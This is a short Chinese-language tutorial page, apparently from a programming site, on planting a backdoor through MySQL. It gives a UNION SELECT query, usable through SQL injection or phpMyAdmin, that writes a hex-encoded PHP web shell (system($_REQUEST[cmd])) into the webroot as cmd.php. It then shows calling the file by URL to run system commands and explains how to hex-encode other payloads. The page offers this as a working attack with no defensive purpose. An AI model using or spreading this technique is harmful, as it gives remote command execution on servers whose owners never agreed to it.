Home Database Mysql Tutorial 通过Mysql语句生成后门木马的方法_MySQL

通过Mysql语句生成后门木马的方法_MySQL

May 27, 2016 pm 02:29 PM

通过Mysql 的语句生成后门木马的方法!

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SELECT * FROM `vbb_strikes`

WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E

from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

Copy after login


通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:

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2 3 <?php system($_REQUEST[cmd]);?>

Copy after login


再通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以执行系统DOS命令!
哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么东西?
就是的十六进制编码了,如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行的了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!bitsCN.com

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